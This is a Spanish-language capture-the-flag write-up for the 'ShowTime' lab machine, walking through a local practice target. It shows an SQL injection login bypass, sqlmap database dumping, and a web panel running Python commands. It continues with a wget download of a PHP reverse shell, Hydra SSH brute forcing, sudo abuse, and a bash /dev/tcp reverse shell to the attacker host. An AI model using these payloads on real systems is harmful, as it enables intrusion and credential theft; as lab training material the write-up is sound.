> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/showtime-write-up.md).

# ShowTime write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/J8paTVX8WDxmALF9fPIV" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/XSQxxNC3IKJxsFiIId5u" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador y encontramos lo siguiente:

<figure><img src="/files/6UBPdjHKenuYfUV7oDI4" alt=""><figcaption></figcaption></figure>

Nos vamos al apartado de login y probamos a baipasear con la inyección `' or 1=1-- -` y vemos que funciona.

<figure><img src="/files/8EJgdwf5NiLxc3z87zvs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uf2r63ZUvRRlo9NjH1wG" alt=""><figcaption></figcaption></figure>

Así que vamos a intentar obtener la base de datos con la herramienta llamada **sqlmap**. Con el siguiente comando le pedimos a sqlmap que nos liste el nombre de las bases de datos:

```bash
sqlmap --url "http://172.17.0.2/login_page/index.php" --forms -dbs --batch 
```

<figure><img src="/files/xqckpFOjqhpjOksGEsPJ" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe una base de datos llamada `users`, ya que las otras se crean de forma predeterminada, así que para obtener los datos de esa base de datos escribimos el siguiente comando:

```bash
sqlmap --url "http://172.17.0.2/login_page/index.php" --forms -D users --batch --dump
```

<figure><img src="/files/wiRHUoGogWHnryMctk3n" alt=""><figcaption></figcaption></figure>

Ahora, vamos a usar el usuario `joe` y su contraseña `MiClaveEsInhackeable` para iniciar sesión y encontramos un panel donde podemos escribir comando de Python que se ejecutan en el servidor:

<figure><img src="/files/krxfUw4hMnAa63MCRuYA" alt=""><figcaption></figcaption></figure>

Así que vamos a hacer una prueba ejecutando el siguiente comando para verificar que funciona sin problemas:

```python
import os

os.system("whoami")
```

<figure><img src="/files/fvlcUmXVywOuuAX4uNYD" alt=""><figcaption></figcaption></figure>

Vemos que funciona, así que ahora lo que vamos a hacer descargar un archivo malicioso, levantando un servidor con Python. Primero levantamos el servidor con el siguiente comando en el directorio donde tendremos nuestro archivo malicioso, en mi caso será una reverse shell hecha en [Php](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php).

```python
python3 -m http.server 8080
```

<figure><img src="/files/YiGMDbaIGseyqpNwjPfU" alt=""><figcaption></figcaption></figure>

Ahora ponemos nuestra IP con el puerto en el navegador para vez si funciono correctamente.

<figure><img src="/files/xZP10dPgt9ug1QCArVrU" alt=""><figcaption></figcaption></figure>

Después de verificar que funcione sin problemas, ejecutamos lo siguiente en panel para descargarnos el archivo `virus.php`:

```python
import os 

os.system("wget http://172.17.0.1:8080/virus.php")
os.system("ls")
```

<figure><img src="/files/GveaBQZuxj6Tep3RfFNs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aIYq9Cawf8PDP6FfQGIY" alt=""><figcaption></figcaption></figure>

Vemos que funciono sin problemas, así que ahora solo hay que ponerse en escucha con **netcat** por el puerto que hayamos configurado y poner `172.17.0.2/login_panel/virus.php` en el navegador y ya estaríamos dentro de la máquina víctima.

```bash
sudo nc -nvvlp 444
```

<figure><img src="/files/lXwfzsGrxjqH1hj5klMt" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina victima ejecutamos el siguiente comando `find / -name "*.txt" 2>/dev/null` para que nos liste los archivos con extensión TXT para buscar archivos de texto que puedan contener información útil.

<figure><img src="/files/InNm4725U0VoMJw4TiFu" alt=""><figcaption></figcaption></figure>

Esto nos muestra que hay un archivo oculto en el directorio `/tmp` llamado `.hidden_text.txt`, así que hacemos un cat del fichero y nos muestra lo siguiente:

```bash
cat /tmp/.hidden_text.txt
```

<figure><img src="/files/A8grUEqSxQVOxPtRq7zj" alt=""><figcaption></figcaption></figure>

Así que lo que haremos es guardar todas las palabras en un archivo en nuestra máquina local y después vamos a ejecutar un comando que cambiara las mayúsculas por minúsculas.

```bash
tr '[:upper:]' '[:lower:]' < archivo.txt > passwrd_minusculas.txt
```

<figure><img src="/files/xu6rswni47zqrceyShjB" alt=""><figcaption></figcaption></figure>

Y ahora ejecutamos el siguiente comando para combinar los dos ficheros:

```bash
cat passwrd_minusculas.txt archivo.txt > password.txt 
```

Ahora, vamos a ver los usuarios que existen en la máquina víctima y los vamos a guardar en otro fichero, para luego realizar un ataque de fuerza bruta con **Hydra** con el siguiente comando:

<figure><img src="/files/ZKfsBdNBHlfGpqGn1uqB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DJQYCLzUae9VYvhnpSVP" alt=""><figcaption></figcaption></figure>

```bash
hydra -L usuarios.txt  -P password.txt -I ssh://172.17.0.2 -V -F -u
```

<figure><img src="/files/uqa5fWHgjklE7QzB6wL6" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `joe` es `chittychittybangbang`, así que iniciamos sesión en el servicio SSH.

<figure><img src="/files/0g5ud1GX8ZyOG6niKDAI" alt=""><figcaption></figcaption></figure>

Ahora ejecutamos el comando `sudo -l` el cual muestra que podemos ejecutar el binario `/bin/posh` como el usuario `luciano` sin necesidad de contraseña, así que ejecutamos el siguiente comando:

```bash
sudo -u luciano /bin/posh
```

<figure><img src="/files/s2ssIRIS5XrpOAo5iTWs" alt=""><figcaption></figcaption></figure>

Ahora volvemos a ejecutar el comando `sudo -l` y nos indicar que podemos ejecutar como root el binario`bash` y el fichero `/home/luciano/script.sh`, así que vamos a modificar el fichero y vamos a introducir lo siguiente:

```bash
#!/bin/bash

bash -i >& /dev/tcp/172.17.0.1/443 0>&1
```

<figure><img src="/files/B4pMiUfoVMu72tWkX7Zn" alt=""><figcaption></figcaption></figure>

Finalmente, solo nos queda ponernos en escucha con **netcat** por el puerto 443 y ejecutar el siguiente comando:

```bash
sudo /bin/bash /home/luciano/script.sh
```

<figure><img src="/files/r6cNKRkpBarjtibmre8o" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mzWHVyyfUYFJISjWwShR" alt=""><figcaption></figcaption></figure>
